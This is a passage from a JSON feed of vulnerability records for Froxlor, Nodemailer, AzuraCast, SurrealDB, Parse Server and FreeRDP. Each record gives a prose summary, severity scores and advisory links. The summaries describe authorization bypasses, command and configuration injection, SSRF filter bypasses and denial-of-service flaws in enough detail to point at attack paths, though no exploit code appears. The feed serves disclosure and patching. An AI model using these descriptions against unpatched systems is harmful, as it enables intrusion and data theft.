automation.","published_time":"2026-11-03T14:28:27","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/froxlor/froxlor/security/advisories/GHSA-ch7m-649m-x7xg","https://www.vulncheck.com/advisories/froxlor-2.3.0-before-2.3.15-authorization-bypass-via-certificates-update-api"],"products":["Froxlor"],"vendors":["froxlor"]},"ghsa":null},{"cve_id":"CVE-2026-121435","summary":"Froxlor before 2.3.15 contains an authorization bypass vulnerability that allows authenticated customers to create MySQL databases by calling the Mysqls.add API endpoint, which lacks the customer_hide_options check. Customers can invoke Mysqls.add even when the admin has disabled the MySQL feature, creating unauthorized databases within their own quota despite the policy.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/froxlor/froxlor/security/advisories/GHSA-6vjr-55fw-r5x2","https://www.vulncheck.com/advisories/froxlor-before-2.3.15-authorization-bypass-via-mysqls-add-api"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:34","euvd":{"id":"EUVD-2026-115857","description":"Froxlor before 2.3.15 contains an authorization bypass vulnerability that allows authenticated customers to create MySQL databases by calling the Mysqls.add API endpoint, which lacks the customer_hide_options check. Customers can invoke Mysqls.add even when the admin has disabled the MySQL feature, creating unauthorized databases within their own quota despite the policy.","published_time":"2026-11-03T14:28:27","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/froxlor/froxlor/security/advisories/GHSA-6vjr-55fw-r5x2","https://www.vulncheck.com/advisories/froxlor-before-2.3.15-authorization-bypass-via-mysqls-add-api"],"products":["Froxlor"],"vendors":["froxlor"]},"ghsa":null},{"cve_id":"CVE-2026-121436","summary":"Froxlor from 2.3.8 before 2.3.15 contains an information disclosure vulnerability that allows administrators with customers_see_all to view every account's API key and secret through an unscoped WHERE 1 query in api_keys.php. Attackers can read the super administrator's apikey and secret from the detail modal and replay them to the API to gain super administrator control.","cvss":8.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":8.6,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/froxlor/froxlor/security/advisories/GHSA-5fm2-8wxf-xc5v","https://www.vulncheck.com/advisories/froxlor-2.3.8-before-2.3.15-api-key-disclosure-via-api-keys-php"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:34","euvd":{"id":"EUVD-2026-115858","description":"Froxlor from 2.3.8 before 2.3.15 contains an information disclosure vulnerability that allows administrators with customers_see_all to view every account's API key and secret through an unscoped WHERE 1 query in api_keys.php. Attackers can read the super administrator's apikey and secret from the detail modal and replay them to the API to gain super administrator control.","published_time":"2026-11-03T14:28:28","cvss":8.6,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/froxlor/froxlor/security/advisories/GHSA-5fm2-8wxf-xc5v","https://www.vulncheck.com/advisories/froxlor-2.3.8-before-2.3.15-api-key-disclosure-via-api-keys-php"],"products":["Froxlor"],"vendors":["froxlor"]},"ghsa":null},{"cve_id":"CVE-2026-121425","summary":"Nodemailer from 3.0.0 before 10.1.4 contains a parsing flaw in addressparser that ends an RFC 5322 group at a semicolon inside quoted display names or comments. Attackers can submit crafted group addresses that conformant validators approve, redirecting mail to attacker-chosen recipients and bypassing recipient allow lists.","cvss":8.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":8.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-m943-m63m-w62w","https://www.vulncheck.com/advisories/nodemailer-3.0.0-before-10.1.4-recipient-injection-via-addressparser-group-parsing","https://github.com/nodemailer/nodemailer/security/advisories/GHSA-m943-m63m-w62w"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:33","euvd":{"id":"EUVD-2026-115957","description":"Nodemailer from 3.0.0 before 10.1.4 contains a parsing flaw in addressparser that ends an RFC 5322 group at a semicolon inside quoted display names or comments. Attackers can submit crafted group addresses that conformant validators approve, redirecting mail to attacker-chosen recipients and bypassing recipient allow lists.","published_time":"2026-11-03T14:28:20","cvss":8.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-m943-m63m-w62w","https://www.vulncheck.com/advisories/nodemailer-3.0.0-before-10.1.4-recipient-injection-via-addressparser-group-parsing"],"products":["nodemailer"],"vendors":["nodemailer"]},"ghsa":null},{"cve_id":"CVE-2026-121426","summary":"Nodemailer from 3.0.0 before 10.1.4 contains an address parsing vulnerability in addressparser that ends an angle-addr at a '>' inside a quoted local part, comment or domain literal. Attackers can submit addresses that validate as an allowed domain but are delivered to an attacker-controlled domain, bypassing recipient allow lists and disclosing message content.","cvss":8.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":8.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-85x2-q946-cp5h","https://www.vulncheck.com/advisories/nodemailer-3.0.0-before-10.1.4-recipient-domain-confusion-via-addressparser"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:33","euvd":{"id":"EUVD-2026-115958","description":"Nodemailer from 3.0.0 before 10.1.4 contains an address parsing vulnerability in addressparser that ends an angle-addr at a '>' inside a quoted local part, comment or domain literal. Attackers can submit addresses that validate as an allowed domain but are delivered to an attacker-controlled domain, bypassing recipient allow lists and disclosing message content.","published_time":"2026-11-03T14:28:21","cvss":8.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-85x2-q946-cp5h","https://www.vulncheck.com/advisories/nodemailer-3.0.0-before-10.1.4-recipient-domain-confusion-via-addressparser"],"products":["nodemailer"],"vendors":["nodemailer"]},"ghsa":null},{"cve_id":"CVE-2026-121427","summary":"AzuraCast through 0.23.8 fails to remove frontend_config.custom_config in PUT /station/{id}/profile/edit for users lacking the Manage station broadcasting permission, and the stored JSON is written verbatim as key=value lines into the Shoutcast sc_serv.conf file. An authenticated user with only the Manage station profile permission can override adminpassword, password, and portbase, or inject arbitrary directives via newlines in keys, hijacking the station's Shoutcast frontend.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-2wcv-vv3g-g86q","https://www.vulncheck.com/advisories/azuracast-through-0.23.8-config-injection-via-frontend-config-custom-config"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:33","euvd":{"id":"EUVD-2026-115959","description":"AzuraCast through 0.23.8 fails to remove frontend_config.custom_config in PUT /station/{id}/profile/edit for users lacking the Manage station broadcasting permission, and the stored JSON is written verbatim as key=value lines into the Shoutcast sc_serv.conf file. An authenticated user with only the Manage station profile permission can override adminpassword, password, and portbase, or inject arbitrary directives via newlines in keys, hijacking the station's Shoutcast frontend.","published_time":"2026-11-03T14:28:22","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-2wcv-vv3g-g86q","https://www.vulncheck.com/advisories/azuracast-through-0.23.8-config-injection-via-frontend-config-custom-config"],"products":["AzuraCast"],"vendors":["azuracast"]},"ghsa":null},{"cve_id":"CVE-2026-121428","summary":"AzuraCast through 0.23.8 contains a remote code execution vulnerability that allows authenticated station managers to inject Supervisor configuration through the station timezone field. Attackers can submit a timezone containing newlines to the profile edit API, defining a new Supervisor program that executes OS commands as root when configuration regenerates.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-23wx-88m8-pfm2","https://www.vulncheck.com/advisories/azuracast-through-0.23.8-rce-via-supervisor-configuration-injection-in-timezone"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:33","euvd":{"id":"EUVD-2026-115960","description":"AzuraCast through 0.23.8 contains a remote code execution vulnerability that allows authenticated station managers to inject Supervisor configuration through the station timezone field. Attackers can submit a timezone containing newlines to the profile edit API, defining a new Supervisor program that executes OS commands as root when configuration regenerates.","published_time":"2026-11-03T14:28:22","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-23wx-88m8-pfm2","https://www.vulncheck.com/advisories/azuracast-through-0.23.8-rce-via-supervisor-configuration-injection-in-timezone"],"products":["AzuraCast"],"vendors":["azuracast"]},"ghsa":null},{"cve_id":"CVE-2026-121429","summary":"AzuraCast through 0.23.8 contains a command injection vulnerability that allows station users with Profile permission to execute OS commands via StereoTool settings. Attackers can inject shell metacharacters into stereo_tool_configuration_path or stereo_tool_license_key, which are executed via /bin/sh on station restart, compromising the container.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-c45c-wrcp-22fx","https://www.vulncheck.com/advisories/azuracast-through-0.23.8-command-injection-via-stereotool-liquidsoap-pipe","https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-c45c-wrcp-22fx"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:33","euvd":{"id":"EUVD-2026-115961","description":"AzuraCast through 0.23.8 contains a command injection vulnerability that allows station users with Profile permission to execute OS commands via StereoTool settings. Attackers can inject shell metacharacters into stereo_tool_configuration_path or stereo_tool_license_key, which are executed via /bin/sh on station restart, compromising the container.","published_time":"2026-11-03T14:28:23","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-c45c-wrcp-22fx","https://www.vulncheck.com/advisories/azuracast-through-0.23.8-command-injection-via-stereotool-liquidsoap-pipe"],"products":["AzuraCast"],"vendors":["azuracast"]},"ghsa":null},{"cve_id":"CVE-2026-121430","summary":"AzuraCast before 0.24.0 contains a missing authorization vulnerability in the GET and POST /api/station/{station_id}/waveform/{media_id} routes, which lack Permissions middleware. Any authenticated user without station assignment can read another station's cached waveform JSON and overwrite it with attacker-supplied data, corrupting Visual Cue Editor data.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.4,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-q3x9-qgv6-hgq3","https://www.vulncheck.com/advisories/azuracast-before-0.24.0-missing-authorization-via-station-waveform-endpoints"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:33","euvd":{"id":"EUVD-2026-115852","description":"AzuraCast before 0.24.0 contains a missing authorization vulnerability in the GET and POST /api/station/{station_id}/waveform/{media_id} routes, which lack Permissions middleware. Any authenticated user without station assignment can read another station's cached waveform JSON and overwrite it with attacker-supplied data, corrupting Visual Cue Editor data.","published_time":"2026-11-03T14:28:24","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-q3x9-qgv6-hgq3","https://www.vulncheck.com/advisories/azuracast-before-0.24.0-missing-authorization-via-station-waveform-endpoints"],"products":["AzuraCast"],"vendors":["azuracast"]},"ghsa":null},{"cve_id":"CVE-2026-121420","summary":"SurrealDB from 3.2.0 before 3.3.0 contains a server-side request forgery vulnerability in the FilteringResolver is_private_ip check that fails to unwrap NAT64, 6to4, and Teredo IPv6 addresses. Authenticated users triggering outbound HTTP requests via SurrealQL http functions can use transition addresses embedding private IPv4 targets to reach localhost, internal services, or cloud metadata endpoints.","cvss":4.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.3,"cvss_v4":4.8,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-c9wc-jcr5-8974","https://www.vulncheck.com/advisories/surrealdb-3.2.0-before-3.3.0-ssrf-guard-bypass-via-ipv6-transition-addresses"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:32","euvd":{"id":"EUVD-2026-115952","description":"SurrealDB from 3.2.0 before 3.3.0 contains a server-side request forgery vulnerability in the FilteringResolver is_private_ip check that fails to unwrap NAT64, 6to4, and Teredo IPv6 addresses. Authenticated users triggering outbound HTTP requests via SurrealQL http functions can use transition addresses embedding private IPv4 targets to reach localhost, internal services, or cloud metadata endpoints.","published_time":"2026-11-03T14:28:17","cvss":4.8,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-c9wc-jcr5-8974","https://www.vulncheck.com/advisories/surrealdb-3.2.0-before-3.3.0-ssrf-guard-bypass-via-ipv6-transition-addresses"],"products":["surrealdb"],"vendors":["surrealdb"]},"ghsa":null},{"cve_id":"CVE-2026-121421","summary":"SurrealDB 3.1.0 before 3.3.0 contains a server-side request forgery vulnerability in network-capability matching because port-specific --deny-net rules (HOST:PORT or IP:PORT) match only a literal host string, while the resolved-IP check discards the port. Authenticated users can call http::* functions with a hostname resolving to a denied IP, or the IP of a denied hostname, to reach blocked internal services.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/surrealdb/surrealdb/commit/9d9a5b0693e499e0d030cac6b618062ec02cd2bc","https://github.com/surrealdb/surrealdb/security/advisories/GHSA-mhv5-88p6-w4c3","https://www.vulncheck.com/advisories/surrealdb-3.1.0-before-3.3.0-ssrf-via-port-specific-deny-net-host-aliasing-bypass","https://github.com/surrealdb/surrealdb/security/advisories/GHSA-mhv5-88p6-w4c3"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:32","euvd":{"id":"EUVD-2026-115953","description":"SurrealDB 3.1.0 before 3.3.0 contains a server-side request forgery vulnerability in network-capability matching because port-specific --deny-net rules (HOST:PORT or IP:PORT) match only a literal host string, while the resolved-IP check discards the port. Authenticated users can call http::* functions with a hostname resolving to a denied IP, or the IP of a denied hostname, to reach blocked internal services.","published_time":"2026-11-03T14:28:18","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-mhv5-88p6-w4c3","https://github.com/surrealdb/surrealdb/commit/9d9a5b0693e499e0d030cac6b618062ec02cd2bc","https://www.vulncheck.com/advisories/surrealdb-3.1.0-before-3.3.0-ssrf-via-port-specific-deny-net-host-aliasing-bypass"],"products":["surrealdb"],"vendors":["surrealdb"]},"ghsa":null},{"cve_id":"CVE-2026-121422","summary":"SurrealDB from 3.1.0 before 3.3.0 contains a server-side request forgery vulnerability that allows database Owners to bypass port-specific deny-net rules by using JWKS URLs with implicit default ports. Attackers can configure a JWT or record access method whose JWKS URL omits port 80 or 443, causing blind GET requests to explicitly denied internal services.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.1,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-h3mp-7wcg-p6vj","https://www.vulncheck.com/advisories/surrealdb-from-3.1.0-before-3.3.0-ssrf-via-jwks-implicit-default-port-bypass"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:32","euvd":{"id":"EUVD-2026-115954","description":"SurrealDB from 3.1.0 before 3.3.0 contains a server-side request forgery vulnerability that allows database Owners to bypass port-specific deny-net rules by using JWKS URLs with implicit default ports. Attackers can configure a JWT or record access method whose JWKS URL omits port 80 or 443, causing blind GET requests to explicitly denied internal services.","published_time":"2026-11-03T14:28:18","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-h3mp-7wcg-p6vj","https://www.vulncheck.com/advisories/surrealdb-from-3.1.0-before-3.3.0-ssrf-via-jwks-implicit-default-port-bypass"],"products":["surrealdb"],"vendors":["surrealdb"]},"ghsa":null},{"cve_id":"CVE-2026-121423","summary":"SurrealDB before 3.3.0 contains an unbounded recursion vulnerability that allows authenticated users to abort the surreald process by triggering stack overflow on deeply nested values. Attackers can repeatedly run UPDATE statements wrapping a stored array in itself, then SELECT or EXPORT it, causing persistent denial of service for all tenants.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-rpmq-gq3f-h6jg","https://www.vulncheck.com/advisories/surrealdb-before-3.3.0-dos-via-unbounded-recursion-in-val-value-serialization"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:32","euvd":{"id":"EUVD-2026-115955","description":"SurrealDB before 3.3.0 contains an unbounded recursion vulnerability that allows authenticated users to abort the surreald process by triggering stack overflow on deeply nested values. Attackers can repeatedly run UPDATE statements wrapping a stored array in itself, then SELECT or EXPORT it, causing persistent denial of service for all tenants.","published_time":"2026-11-03T14:28:19","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-rpmq-gq3f-h6jg","https://www.vulncheck.com/advisories/surrealdb-before-3.3.0-dos-via-unbounded-recursion-in-val-value-serialization"],"products":["surrealdb"],"vendors":["surrealdb"]},"ghsa":null},{"cve_id":"CVE-2026-121424","summary":"Nodemailer from 3.0.0 before 10.1.4 contains an address parsing vulnerability in addressparser that allows remote attackers to redirect recipients by ending nested RFC 5322 comments at the first closing parenthesis. Attackers can submit addresses whose nested comment hides an attacker address, bypassing conformant validators and recipient allow lists to receive mail or spoof senders in mailparser.","cvss":8.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":8.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8c8m-p3m8-cjg8","https://www.vulncheck.com/advisories/nodemailer-3.0.0-before-10.1.4-address-parsing-bypass-via-nested-comments"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:32","euvd":{"id":"EUVD-2026-115956","description":"Nodemailer from 3.0.0 before 10.1.4 contains an address parsing vulnerability in addressparser that allows remote attackers to redirect recipients by ending nested RFC 5322 comments at the first closing parenthesis. Attackers can submit addresses whose nested comment hides an attacker address, bypassing conformant validators and recipient allow lists to receive mail or spoof senders in mailparser.","published_time":"2026-11-03T14:28:20","cvss":8.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8c8m-p3m8-cjg8","https://www.vulncheck.com/advisories/nodemailer-3.0.0-before-10.1.4-address-parsing-bypass-via-nested-comments"],"products":["nodemailer"],"vendors":["nodemailer"]},"ghsa":null},{"cve_id":"CVE-2026-121415","summary":"Parse Server before 8.6.111 and 9.0.0 before 9.10.6-alpha.3 on MongoDB skips field type validation for null-valued dot notation keys, allowing sub-documents to be written beneath Pointer, Number, String, Date, or Boolean fields. Any client with write access, including unauthenticated clients where public writes are permitted, can corrupt field values, make objects unreadable via internal date fields, or break atomic operations on number fields.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/parse-community/parse-server/pull/10804","https://github.com/parse-community/parse-server/pull/10805","https://github.com/parse-community/parse-server/security/advisories/GHSA-655c-2xf3-77x9","https://www.vulncheck.com/advisories/parse-server-before-8.6.111-and-9.0.0-before-9.10.6-alpha.3-field-corruption-via-null-dot-notation-key"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:31","euvd":{"id":"EUVD-2026-115947","description":"Parse Server before 8.6.111 and 9.0.0 before 9.10.6-alpha.3 on MongoDB skips field type validation for null-valued dot notation keys, allowing sub-documents to be written beneath Pointer, Number, String, Date, or Boolean fields. Any client with write access, including unauthenticated clients where public writes are permitted, can corrupt field values, make objects unreadable via internal date fields, or break atomic operations on number fields.","published_time":"2026-11-03T14:28:13","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/parse-community/parse-server/security/advisories/GHSA-655c-2xf3-77x9","https://github.com/parse-community/parse-server/pull/10804","https://github.com/parse-community/parse-server/pull/10805","https://www.vulncheck.com/advisories/parse-server-before-8.6.111-and-9.0.0-before-9.10.6-alpha.3-field-corruption-via-null-dot-notation-key"],"products":["parse-server","parse-server"],"vendors":["parse-community"]},"ghsa":null},{"cve_id":"CVE-2026-121416","summary":"SurrealDB 2.0.0 before 3.3.1 does not enforce --deny-funcs restrictions on method-style function calls in the streaming engine, because MethodPart::evaluate invokes resolved functions without a capability check. Authenticated users who can submit queries can run denied functions via method syntax, e.g. [1,2].map() or $f.put()/$f.get() to write and read file bucket data despite file::* denials.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-p296-7pr4-87rr","https://www.vulncheck.com/advisories/surrealdb-2.0.0-before-3.3.1-deny-funcs-capability-bypass-via-method-style-invocations"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:31","euvd":{"id":"EUVD-2026-115948","description":"SurrealDB 2.0.0 before 3.3.1 does not enforce --deny-funcs restrictions on method-style function calls in the streaming engine, because MethodPart::evaluate invokes resolved functions without a capability check. Authenticated users who can submit queries can run denied functions via method syntax, e.g. [1,2].map() or $f.put()/$f.get() to write and read file bucket data despite file::* denials.","published_time":"2026-11-03T14:28:14","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-p296-7pr4-87rr","https://www.vulncheck.com/advisories/surrealdb-2.0.0-before-3.3.1-deny-funcs-capability-bypass-via-method-style-invocations"],"products":["surrealdb"],"vendors":["surrealdb"]},"ghsa":null},{"cve_id":"CVE-2026-121417","summary":"SurrealDB before 3.3.0 contains a use-after-free vulnerability in surrealdb-core KV backends that pass borrowed transaction state into affinitypool::spawn_local closures relying on future Drop for safety. Rust embedders that leak a dispatched future (e.g. via mem::forget) and drop the transaction cause pool workers to read and write freed memory, risking crashes or memory corruption.","cvss":8.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":8.8,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/surrealdb/surrealdb/commit/17584a181979f04f2aaad867332c22db1caa511a","https://github.com/surrealdb/surrealdb/security/advisories/GHSA-pm86-cc75-q463","https://www.vulncheck.com/advisories/surrealdb-before-3.3.0-use-after-free-via-affinitypool-spawn-local-in-kv-backends","https://github.com/surrealdb/surrealdb/security/advisories/GHSA-pm86-cc75-q463"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:31","euvd":{"id":"EUVD-2026-115949","description":"SurrealDB before 3.3.0 contains a use-after-free vulnerability in surrealdb-core KV backends that pass borrowed transaction state into affinitypool::spawn_local closures relying on future Drop for safety. Rust embedders that leak a dispatched future (e.g. via mem::forget) and drop the transaction cause pool workers to read and write freed memory, risking crashes or memory corruption.","published_time":"2026-11-03T14:28:15","cvss":8.8,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-pm86-cc75-q463","https://github.com/surrealdb/surrealdb/commit/17584a181979f04f2aaad867332c22db1caa511a","https://www.vulncheck.com/advisories/surrealdb-before-3.3.0-use-after-free-via-affinitypool-spawn-local-in-kv-backends"],"products":["surrealdb"],"vendors":["surrealdb"]},"ghsa":null},{"cve_id":"CVE-2026-121418","summary":"SurrealDB from 3.1.0 before 3.3.0 contains an incorrect authorization vulnerability that allows record users to infer restricted field values because the streaming planner uses indexes on fields with restrictive SELECT permissions. Attackers can issue full-text MATCHES, compound B-tree, or HNSW KNN queries against restricted fields to learn which records contain guessed values or nearest vectors.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-x6mm-9295-rvph","https://www.vulncheck.com/advisories/surrealdb-3.1.0-before-3.3.0-incorrect-authorization-via-streaming-index-planner"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:31","euvd":{"id":"EUVD-2026-115950","description":"SurrealDB from 3.1.0 before 3.3.0 contains an incorrect authorization vulnerability that allows record users to infer restricted field values because the streaming planner uses indexes on fields with restrictive SELECT permissions. Attackers can issue full-text MATCHES, compound B-tree, or HNSW KNN queries against restricted fields to learn which records contain guessed values or nearest vectors.","published_time":"2026-11-03T14:28:15","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-x6mm-9295-rvph","https://www.vulncheck.com/advisories/surrealdb-3.1.0-before-3.3.0-incorrect-authorization-via-streaming-index-planner"],"products":["surrealdb"],"vendors":["surrealdb"]},"ghsa":null},{"cve_id":"CVE-2026-121419","summary":"SurrealDB from 3.1.0 before 3.3.0 contains an improper authentication vulnerability where the MCP BoundSubject fingerprint uses the access method name instead of per-user identity for JWT/Bearer access. Attackers with a valid low-privilege token for the same access method and a victim's mcp-session-id can hijack the session and execute MCP tools with the victim's roles and permissions.","cvss":8.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":8.6,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-pgh9-49q4-hqcx","https://www.vulncheck.com/advisories/surrealdb-3.1.0-before-3.3.0-mcp-session-hijack-via-boundsubject-collision"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:31","euvd":{"id":"EUVD-2026-115951","description":"SurrealDB from 3.1.0 before 3.3.0 contains an improper authentication vulnerability where the MCP BoundSubject fingerprint uses the access method name instead of per-user identity for JWT/Bearer access. Attackers with a valid low-privilege token for the same access method and a victim's mcp-session-id can hijack the session and execute MCP tools with the victim's roles and permissions.","published_time":"2026-11-03T14:28:16","cvss":8.6,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-pgh9-49q4-hqcx","https://www.vulncheck.com/advisories/surrealdb-3.1.0-before-3.3.0-mcp-session-hijack-via-boundsubject-collision"],"products":["surrealdb"],"vendors":["surrealdb"]},"ghsa":null},{"cve_id":"CVE-2026-121411","summary":"FreeRDP before 3.32.2 fails to bound server-supplied target dimensions and output origin in RDPGFX MAPSURFACETOSCALEDOUTPUT PDUs, allowing malicious RDP servers to abort X11 clients. Attackers can map a surface to oversized scaled output, triggering checked UINT16 cast or freerdp_image_scale stride assertion failures that terminate the client.","cvss":2.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.1,"cvss_v4":2.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-wffv-rjv2-h2x2","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-x11-client-abort-via-rdpgfx-scaled-output-geometry"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:30","euvd":{"id":"EUVD-2026-115943","description":"FreeRDP before 3.32.2 fails to bound server-supplied target dimensions and output origin in RDPGFX MAPSURFACETOSCALEDOUTPUT PDUs, allowing malicious RDP servers to abort X11 clients. Attackers can map a surface to oversized scaled output, triggering checked UINT16 cast or freerdp_image_scale stride assertion failures that terminate the client.","published_time":"2026-11-03T14:28:10","cvss":2.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-wffv-rjv2-h2x2","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-x11-client-abort-via-rdpgfx-scaled-output-geometry"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121412","summary":"FreeRDP from 3.0.0 before 3.32.2 contains an uncontrolled resource consumption vulnerability in the proxy that lets connected clients retain heap memory via intercepted DVC message reassembly. Attackers can declare a large DATA_FIRST length and keep sending fragments without completing the message, growing proxy memory proportional to traffic and degrading 